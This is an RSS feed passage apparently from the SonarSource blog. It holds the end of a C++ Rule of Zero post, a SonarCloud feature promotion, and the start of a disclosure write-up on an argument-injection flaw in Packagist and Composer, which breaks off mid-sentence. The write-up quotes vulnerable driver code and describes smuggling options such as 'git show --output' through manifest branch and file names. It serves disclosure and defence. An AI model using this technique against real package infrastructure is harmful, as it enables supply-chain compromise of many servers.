&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So if you have memory to manage then you should use or write a class specialized for managing that memory – whether that is a smart pointer, an array-based container, or something else. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These resource managing types would follow the Rule of Five. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But such classes should be quite rare – the standard library covers most common cases with its containers, smart pointers and stream objects. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A class that &lt;em&gt;uses&lt;/em&gt; a resource managing type should “just work” by following the Rule of Zero.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Maintaining this strict distinction keeps your code simpler, cleaner, and more focused – and easier to write correctly. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;“No code has less bugs than no code”, so needing to write less code (especially resource management code) is usually a good thing.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, again, the Rule of Zero makes sense – and, indeed, the Sonar analysers will guide you to this with &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-4963&quot;&gt;S493 - &lt;em&gt;The “Rule-of-Zero” should be followed&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;When to use which rule in C++?&lt;/h2&gt;&lt;p&gt;In a way, the Rule of Zero encompasses the Rule of Five, so you should just follow it. But another way to think of it is to follow the Rule of Zero, by default. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Fall back to the Rule of Five when you find you need to write any specialized resource owning classes (which should be rare). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Again, this is captured by &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-3624&quot;&gt;S3624 - &lt;em&gt;When the “Rule-of-Zero” is not applicable, the “Rule-of-Five” should be followed&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Rule of Three only comes into it if you are working strictly with pre-C++11.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But does this really cover all cases?&lt;/p&gt;&lt;h2&gt;When the Rules of Three, Five and Zero are not enough in C++&lt;/h2&gt;&lt;p&gt;Polymorphic base classes are a common case where the above rules apply, but seem a little heavyweight. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Why? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because such classes should have a (defaulted) virtual destructor (&lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-1235&quot;&gt;S1235 - &lt;em&gt;Polymorphic base class destructor should be either public virtual or protected non-virtual&lt;/em&gt;&lt;/a&gt;). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That does not mean they should have any of the other special member functions – in fact, it is good practice for polymorphic base classes to be pure abstract base classes – with no functionality. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Providing public copy and move operations on polymorphic hierarchies makes them prone to slicing – where the difference between the static and dynamic types are lost in the copy. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If copyability (or moveability) is required then they should be via virtual methods. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A virtual &lt;code&gt;clone()&lt;/code&gt; method is common in this case. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Implementations of these virtual methods may use the copy and move operations – in which case they can be implemented or defaulted as &lt;em&gt;protected&lt;/em&gt; members – preventing accidental use from outside. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Otherwise, which is most of the time, they should just be deleted.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;
   virtual ~MyBaseClass() = default;
   MyBaseClass(MyBaseClass const &amp;) = delete;
   MyBaseClass(MyBaseClass &amp;&amp;) = delete;
   MyBaseClass operator=(MyBaseClass const &amp;) = delete;
   MyBaseClass operator=(MyBaseClass &amp;&amp;) = delete;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Implementing or deleting all the special member functions can get a bit tedious, especially if you are working in a code base that has a lot of polymorphic base classes (although this is quite rare these days, at least in newer code). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One way to work around this – in fact the only way prior to C++11 – is to privately inherit from a base class that has these five definitions (or, before C++11, make the “deleted” functions private and unimplemented). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is still a valid option and, arguably, brings us back to the Rule of Zero.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;However, it turns out that deleting the move assignment operator is all we need to do. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because of how the interactions between special member functions are specified, this will have the same effect (and, in fact, maybe slightly better, as we’ll see in the next article).&lt;/p&gt;&lt;pre&gt;&lt;code&gt;virtual ~MyBaseClass() = default;
   MyBaseClass operator=(MyBaseClass &amp;&amp;) = delete;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If that seems strange or suspicious – or if you want to dig more into implementing the Rule of Five for different cases, read on to the second part of this series where we will dive deeper into all of this, as well as how those interactions are specified.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Five SonarCloud features for developers that want Clean Code]]></title><description><![CDATA[Whether you’re working on a new project or an existing one, you might think of Clean Code as an ideal, somewhere far out of reach. Let’s go over 5 key features that make SonarCloud the perfect tool for developers and development teams to deliver Clean Code consistently and efficiently, without disrupting the existing development workflow.]]></description><link>https://www.sonarsource.com/blog/five-sonarcloud-features-for-developers-that-want-clean</link><guid isPermaLink="false">e85b9b52-8a5b-575f-8f6e-b4fe73b8460b</guid><dc:creator><![CDATA[Thomas Olivier]]></dc:creator><pubDate>Thu, 06 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Whether you’re working on a new project or an existing one, you might think of &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt; as an ideal, somewhere far out of reach. How would I even begin? Is it a new practice to adopt? Is it a tool to use? Does it relate to a level of experience with a programming language that I need to meet? Well, it might be all of those things. But getting the code to a place where you can call it clean might not be the painful journey you expect. Let’s go over 5 key features that make &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; the perfect tool for developers and development teams to deliver Clean Code consistently and efficiently, without disrupting the existing development workflow.&lt;/p&gt;&lt;h2&gt;1. Pull request decoration&lt;/h2&gt;&lt;p&gt;To win at Clean Code, you want to find issues early in the workflow. Upon opening a pull request, SonarCloud will quickly present you with a report (we call &amp;#x27;decoration&amp;#x27;), as illustrated below. This is the case whether you’re working with GitHub, GitLab, Bitbucket Cloud, or Azure DevOps Services. SonarCloud seamlessly integrates with each of these 4 platforms.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5548f72d-bea5-4be4-b7ff-f00302434a82/Five%20SonarCloud%20features_1%402x.png&quot; /&gt;&lt;p&gt;This PR decoration enables you to assess the quality of your new code &lt;em&gt;before&lt;/em&gt; making the decision to merge it into the main branch. As of today, there are five key Clean Code attributes that are raised in the PR decoration (and in every analysis we run): reliability, security (incl. security hotspots), maintainability, code coverage, and code duplications. For each of these, you get a rating from ‘A’ to ‘E’, supplementary to the number of issues. You can then visually assess where your code stands in each domain. The last thing raised in the PR decoration is the status of the Quality Gate, which I’m going to tell you more about in the 3rd section of this blog.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are several benefits for developers linked to the pull request decoration:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;It is available in the DevOps platform where you manage your code, without having to switch contexts.&lt;/li&gt;&lt;li&gt;It arrives quickly after you opened the pull request, and enables you to fix code issues early in your workflow.&lt;/li&gt;&lt;li&gt;It provides the right pointers for you to investigate issues from SonarCloud’s interface and get remediation guidance.&lt;/li&gt;&lt;li&gt;It helps you make the decision of whether or not the pull request can be accepted and the code merged to the main branch.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the end, pull request decorations are the best way to get early, comprehensive feedback so you can make informed decisions about your code.&lt;/p&gt;&lt;h2&gt;2. Clear remediation guidance&lt;/h2&gt;&lt;p&gt;SonarCloud helps you detect issues in your pull requests (and development branches) and also helps with remediation. Any time you receive the pull request decoration with a failed quality gate, you will be invited to come to SonarCloud to investigate the issue list. From there, you can assign an issue to a member of the organization if it’s his/her code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0ccee30d-886c-446d-87cb-7db5c32e88c1/Five%20SonarCloud%20features_2%402x.png&quot; /&gt;&lt;p&gt;Once you pick an issue to fix, you will receive guidance in several places:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;In the code, showing the issue highlighted in context.&lt;/li&gt;&lt;li&gt;In the dataflow (for &lt;a href=&quot;https://blog.sonarsource.com/what-is-taint-analysis/&quot;&gt;taint vulnerabilities&lt;/a&gt;), where all the steps through which the issue is built in the code are listed.&lt;/li&gt;&lt;li&gt;In the rule description, which explains why this is an issue, and includes examples of non-compliant and compliant solutions, as well as an explanation of how to fix the issue. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With SonarCloud’s guidance, you will be able to understand and fix issues in no time, while the code is still fresh in mind. Commit after commit, you will learn new coding rules and elevate your game. You’re winning today by ensuring your new code is clean, but you’re also placing yourself in a better position to deal with tomorrow’s challenges.&lt;/p&gt;&lt;h2&gt;3. Go/No-Go Quality gate&lt;/h2&gt;&lt;p&gt;The quality gate is the cornerstone of a winning strategy at CleanCcode. It will help you reply to the question: ‘Is my code ready to be merged?’. It couldn’t be more straightforward:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;It’s passed (green), you can merge&lt;/li&gt;&lt;li&gt;It’s failed (red), you shouldn’t merge&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Never promote code with a failed quality gate! Or accept to be doomed for eternity… *dark_laugh*.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8d169272-d44a-433c-b9bf-b06eb76559f8/Five%20SonarCloud%20features_3%402x.png&quot; /&gt;&lt;p&gt;The quality gate computation is based on Clean Code attributes. Unless your code meets the defined requirements (e.g. reliability rating cannot be less than ‘A’), the quality gate will fail. A &lt;em&gt;Sonar way&lt;/em&gt; quality gate is available by default. This will help you get started quickly with SonarCloud. Once you’re familiar with the concept of Clean Code, you can then customize the quality gate and adjust it to your needs by adding more conditions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The quality gate is available in the pull requests directly so you know when there is something to fix before you can merge. When it’s green, you can merge with confidence, knowing that the code delivered is clean.&lt;/p&gt;&lt;h2&gt;4. Clean as You Code methodology&lt;/h2&gt;&lt;p&gt;Unless you start using SonarCloud at the beginning of a project, it’s very likely that the results of the first project analysis will be overwhelming, with hundreds of issues. Then comes the question of where to start. This is where the &lt;a href=&quot;https://blog.sonarsource.com/clean-as-you-code/&quot;&gt;Clean as You Code methodology&lt;/a&gt; will help you.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First, leave the past behind. Digging into old code for no other reason than fixing &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt; brings the risk of functional regression. It would also require a major investment in time and would take you away from what you like - or have - to do. Instead, using the Clean as You Code methodology, you will focus on where you will have the most impact, the code you own and deliver today.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Why is today’s code the best opportunity to impact the quality of the code base? Because, in the process of developing new features, you will inevitably touch existing code to make changes. This updated code will go through the quality gate. Since we’ve agreed you’re only going to merge code with a green quality gate, commit after commit, you will progressively remediate old code. No need to allocate dedicated time, it’s happening as part of your workflow. I told you it wasn’t going to be the painful journey you originally thought of.&lt;/p&gt;&lt;h2&gt;5. IDE integration with SonarLint&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; helps you shift left even further, by catching issues on-the-fly and providing real-time feedback as you’re writing code in your IDE. A free plug-in, it&amp;#x27;s compatible with all major IDEs ( IntelliJ, Visual Studio, VS Code, and Eclipse).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once connected to SonarCloud, SonarLint imports the language configuration to the IDE, aligning your team on a single standard of Clean Code. SonarLint will bring taint analysis results from SonarCloud so you can investigate issues early in your IDE. You will receive notifications on the Quality Gate status or when a new issue is assigned to you.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With SonarCloud and SonarLint, you will get the full power of the Sonar solution and bring consistency throughout your entire development workflow.&lt;/p&gt;&lt;h2&gt;The recipe for Clean Code success!&lt;/h2&gt;&lt;p&gt;You now have a better idea of what SonarCloud offers. With these features, you will be ready to succeed in cleaning your code. Not only will you deliver with confidence, but you will also learn along the way.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ready to give it a try? Getting started with SonarCloud couldn’t be easier! Free for open-source projects, you have a 14-day free trial period to try it with private repositories. Simply sign-up with your DevOps platform account in 1 click, import the first project to analyze, and wait for the automatic analysis to end (available for most languages). From there, all pull requests will be decorated. To clean your code, make every pull request count!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you have any questions, or if you encounter a problem, please go to our&lt;a href=&quot;https://community.sonarsource.com/&quot;&gt; Community Forum&lt;/a&gt;. We’ll be happy to help you get up and running.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;--&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Pick a topic to discover more&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sonarcloud-facelift-step-1-a-more-modern-and-consistent-ui-is-born/&quot;&gt;SonarCloud’s facelift step 1: a more modern and consistent UI is born&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/youre-3-minutes-away-from-clean-java-pull-requests/&quot;&gt;You’re 3 minutes away from clean Java pull requests!&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/clean-as-you-code/&quot;&gt;Clean as You Code: How to win at Code Quality without even trying&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Securing Developer Tools: A New Supply Chain Attack on PHP]]></title><description><![CDATA[What is your worst supply chain nightmare and why is it somebody that could take over all the PHP packages at once? Let's deep dive into how we could demonstrate it!]]></description><link>https://www.sonarsource.com/blog/securing-developer-tools-a-new-supply-chain-attack-on-php</link><guid isPermaLink="false">ebf8ff48-c4d2-5c58-9b73-8d14586866f6</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 04 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Key facts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Sonar discovered and responsibly disclosed a critical vulnerability in Packagist, a central component of the PHP supply chain, to help secure developer tools. &lt;br/&gt;&lt;/li&gt;&lt;li&gt;This vulnerability allows gaining control of Packagist. It is used by the PHP package manager Composer to determine and download software dependencies that are included by developers in their projects.&lt;br/&gt;&lt;/li&gt;&lt;li&gt;Virtually all organizations running PHP code are using Composer, which serves 2 billion software packages every month. More than a hundred million of these requests could have been hijacked to distribute malicious dependencies and compromise millions of servers.&lt;br/&gt;&lt;/li&gt;&lt;li&gt;This new research came out a year after a similar finding in the same service, documented in &lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer/&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt;. &lt;br/&gt;&lt;/li&gt;&lt;li&gt;This vulnerability was fixed within hours by the maintainers of the affected service. &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;Supply chain attacks are a hot topic for development organizations today. Last year, in the largest ever software supply chain attack, a backdoor infected 18,000 SolarWinds customers. Earlier this year, a security researcher was able to breach Apple, Microsoft, Paypal, and other tech giants using a new supply chain attack technique. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The underlying design exploited by these attacks is that all modern software is built on top of other third-party software components, often without clear visibility of all the downloaded packages. And while reusing many components allows to speed up the development process, infecting the supply chain is a very effective and subtle attack vector to compromise many organizations at once.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While supply chains can take different forms, one of them is significantly more impactful: by gaining access to the servers distributing these third-party software components, threat actors can alter them to obtain a foothold in the systems of their users. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One year after our first publication about a critical vulnerability in the PHP supply chain (read more in &lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer/&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt;), the Sonar R&amp;amp;D team uncovered a new critical vulnerability in similar components. &lt;strong&gt;It allowed taking control of the server distributing information about existing PHP software packages, and ultimately compromising every organization that uses them. &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this publication, we present our findings in the biggest PHP package manager, Composer, and its official package repository Packagist. We explain how the discovered code vulnerability works in theory, how it affected Packagist, and how we could demonstrate it on both a test instance and the real one. We will also look at how these code vulnerabilities can be prevented and how the maintainers patched this particular one. &lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The attack we demonstrate in this publication allowed us to execute arbitrary commands on the server running the official instance of &lt;a href=&quot;https://packagist.org&quot;&gt;Packagist&lt;/a&gt;. Composer uses this service to fetch the metadata associated with a given package and its dependencies. Every month, &lt;a href=&quot;https://packagist.org/statistics&quot;&gt;around 2 billion software dependencies&lt;/a&gt; are downloaded with Composer from Packagist, among which at least 100 million of these installs require fetching metadata from Packagist. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The security of these backend services is critical: they perform the association between the name of a package and where the package manager should download it from, so compromising them would allow attackers to force users to download backdoored software dependencies the next time they do a fresh install or an update of a Composer package based on data from 2021. Since Composer is the standard package manager for PHP, most open-source and commercial PHP projects would have been impacted.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;You are already safe if you are using the default, official Packagist instance or Private Packagist.&lt;/strong&gt; We responsibly disclosed our findings, and maintainers patched it on the public production instances within hours.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;If you integrate Composer as a library and operate on untrusted repositories, upgrade at least to Composer 1.10.26, 2.2.12, or 2.3.5 to benefit from the security patches for CVE-2022-24828. &lt;/p&gt;&lt;h2&gt;Previous work&lt;/h2&gt;&lt;p&gt;Now, let&amp;#x27;s dive into the technical details of this new finding to see what we can learn. As you&amp;#x27;ll see, there is a direct link between what we documented in &lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer/&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt;: we will first summarize what we did a year ago, show how one of our approaches leads to a dead end, and finally see how we could reuse the same exploitation technique that we introduced last year.&lt;/p&gt;&lt;h3&gt;Discovery of CVE-2021-29472&lt;/h3&gt;&lt;p&gt;Our previous work on CVE-2021-29472 provided us with insights on interesting attack surfaces. Even though we reviewed the patches fixing CVE-2021-29472, we could have missed something, and getting back on them is relevant. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability we identified occurred in the implementation of &lt;code&gt;VcsDriver&lt;/code&gt; sub-classes: one driver exists for every supported Version Control System (hence the name) like Git, Mercurial, Subversion, etc. Their role is to interact with code repositories created by these tools without re-implementing the related necessary code; instead, Composer invokes them as external commands. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Code that calls system commands is commonly prone to two major classes of vulnerabilities:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Command Injection: attackers can inject command substitution sequences later interpreted by the shell to force the execution of additional, arbitrary commands (also see Sonar rule &lt;a href=&quot;https://rules.sonarsource.com/php/type/Vulnerability/RSPEC-2076&quot;&gt;S2076&lt;/a&gt;).&lt;/li&gt;&lt;li&gt;Argument Injection: attackers can add extra arguments to the invoked command in the hope of influencing its behavior in a dangerous way (also see Sonar rule &lt;a href=&quot;https://rules.sonarsource.com/php/type/Vulnerability/RSPEC-5883&quot;&gt;S5883&lt;/a&gt;).&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Command Injection? Argument Injection?&lt;/h3&gt;&lt;p&gt;To better understand these concepts, let&amp;#x27;s go through a few slides from the talk we presented at &lt;a href=&quot;https://www.barbhack.fr/2022/en/&quot;&gt;BARBHACK&lt;/a&gt; at the end of August.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the case of a command injection bug, where the attacker-controlled value is not escaped at all, the command within &lt;code&gt;$()&lt;/code&gt; is first executed by the shell, and its output is used in the second command:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b6af25e9-a0e3-4fd4-83f0-70143a8704fa/body-6d8f21f0-f4ca-4be6-ae79-8f578f50805b_Securing%2BDeveloper%2BTools_%2BA%2BNew%2BSupply%2BChain%2BAttack%2Bon%2BPHP.png&quot; /&gt;&lt;p&gt;Suppose the attacker-controlled value is correctly enclosed by single quotes by an escaping function. In that case, the command substitution will be ignored by the shell and treated as regular characters in a string literal:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0688f4c9-1bdf-4f7e-ad97-63d6751f84f0/body-9a091e0b-5cdb-456c-a743-17cb66504576_Securing%2BDeveloper%2BTools_%2BA%2BNew%2BSupply%2BChain%2BAttack%2Bon%2BPHP%2B%25281%2529.png&quot; /&gt;&lt;p&gt;However, the invoked command&amp;#x27;s argument parser is going to interpret this value as operands and as arguments when prefixed by one or more dashes (-h, --help):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/547de5b8-0e3c-4a15-96a2-e2ceb39d8967/body-19a1c44e-93a0-4211-9dd8-b3576ba56d9a_Securing%2BDeveloper%2BTools_%2BA%2BNew%2BSupply%2BChain%2BAttack%2Bon%2BPHP%2B%25282%2529.png&quot; /&gt;&lt;p&gt;In this example, a harmless help message will be displayed, but we discovered a specific option of the &lt;code&gt;hg&lt;/code&gt; client that enables the execution of arbitrary commands in all cases. Again, you can find more details about the exploitation &lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer/&quot;&gt;in our previous publication&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As you can see, it is impossible to protect against argument injection vulnerabilities using escaping functions. It can be surprising as we are used to neutralizing special characters by escaping or encoding them to prevent so-called injection vulnerabilities (e.g., SQL injections). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here, developers have to use a special option called the end-of-options: as part of the POSIX specification, it is used to tell the program that parses its arguments to separate options from operands. In simpler terms, anything located at the right of the end-of-options sequence will be treated as an operand: running &lt;code&gt;hg identify -- --help&lt;/code&gt; won&amp;#x27;t display the help message.&lt;/p&gt;&lt;h2&gt;Uncovering a new vulnerability&lt;/h2&gt;&lt;p&gt;The Packagist interface displays information about packages, for instance, here for the famous Symfony framework: &lt;a href=&quot;https://packagist.org/packages/symfony/symfony&quot;&gt;https://packagist.org/packages/symfony/symfony&lt;/a&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3fdde7af-9359-4567-9af2-a7e2a11b9b68/body-9c7a3853-890c-41c6-b6fd-be6509f37067_Securing%2BDeveloper%2BTools%2BPackagist%2BSymfony.png&quot; /&gt;&lt;p&gt;When a new package is imported or updated, asynchronous workers are notified. They will then pull the entire repository associated with it. One of the steps of this process is to update the main documentation page of this package.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This content originates from a file named &lt;code&gt;README.md&lt;/code&gt; by default. This filename could conflict with other services, so the maintainers added an option to specify this file name directly in the package&amp;#x27;s manifest, as documented in &lt;a href=&quot;https://getcomposer.org/doc/04-schema.md#readme&quot;&gt;https://getcomposer.org/doc/04-schema.md#readme&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To fetch the contents of this file, the name of the branch is obtained at [1], the file name at [2], and finally, &lt;code&gt;getFileContents()&lt;/code&gt; is invoked at [3]:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;packagist/src/Package/Updater.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private function updateReadme(IOInterface $io, Package $package, VcsDriverInterface $driver): void
{
   // [...]
   try {
       // [1]
       $composerInfo = $driver-&gt;getComposerInformation($driver-&gt;getRootIdentifier()); 
       if (isset($composerInfo[&apos;readme&apos;]) &amp;&amp; is_string($composerInfo[&apos;readme&apos;])) {
           // [2]
           $readmeFile = $composerInfo[&apos;readme&apos;];
       } else {
           $readmeFile = &apos;README.md&apos;;
       }
       // [...]
       switch ($ext) {
           case &apos;.txt&apos;:
               // [3]
               $source = $driver-&gt;getFileContent($readmeFile, $driver-&gt;getRootIdentifier());
               if (!empty($source)) {
                   $package-&gt;setReadme(&apos;&lt;pre&gt;&apos; . htmlspecialchars($source) . &apos;&lt;/pre&gt;&apos;);
               }
               break;
               // [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The goal of &lt;code&gt;getFileContent()&lt;/code&gt; is to allow reading files from a repository at a given branch, tag, or commit. This is the fastest way to proceed and probably safer, too: there is no risk of mistakenly following symbolic links pointing to unintended destinations or introducing command injection vulnerabilities when performing multiple shell commands. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Each &lt;code&gt;VcsDriver&lt;/code&gt; implements its version of this method. Let&amp;#x27;s focus on &lt;code&gt;GitDriver&lt;/code&gt; (for Git) and &lt;code&gt;HgDriver&lt;/code&gt; (for Mercurial):&lt;/p&gt;&lt;p&gt;&lt;strong&gt;composer/src/Composer/Repository/Vcs/GitDriver.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function getFileContent(string $file, string $identifier): ?string
{
   $resource = sprintf(&apos;%s:%s&apos;, ProcessExecutor::escape($identifier), ProcessExecutor::escape($file));
   $this-&gt;process-&gt;execute(sprintf(&apos;git show %s&apos;, $resource), $content, $this-&gt;repoDir);
   // [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;composer/src/Composer/Repository/Vcs/HgDriver.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function getFileContent(string $file, string $identifier): ?string
{
   $resource = sprintf(&apos;hg cat -r %s %s&apos;, ProcessExecutor::escape($identifier), ProcessExecutor::escape($file));
   $this-&gt;process-&gt;execute($resource, $content, $this-&gt;repoDir);
   // [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is a similar situation to what was done for our previous finding, where we can inject additional arguments. &lt;strong&gt;Both are ideal for exploitation, as the name of the branch and the file are fully controlled through the manifest file.&lt;/strong&gt; &lt;/p&gt;&lt;h3&gt;Investigating GitDriver&lt;/h3&gt;&lt;p&gt;As a reminder, this command will be invoked as &lt;code&gt;git show &amp;#x27;&amp;lt;branch&amp;gt;&amp;#x27;:&amp;#x27;&amp;lt;file&amp;gt;&amp;#x27;&lt;/code&gt;. We can&amp;#x27;t use the file&amp;#x27;s name to inject a new argument, so we have to figure out a way to create a Git branch with all the characters we need for our payload and take care of that mandatory suffix &lt;code&gt;(:&amp;#x27;&amp;lt;file&amp;gt;&amp;#x27;)&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Among all the options supported by &lt;code&gt;git show&lt;/code&gt;, only &lt;code&gt;--output&lt;/code&gt; seems promising as it would allow writing the contents of all the files of the current Git repository into an arbitrary destination. In &lt;a 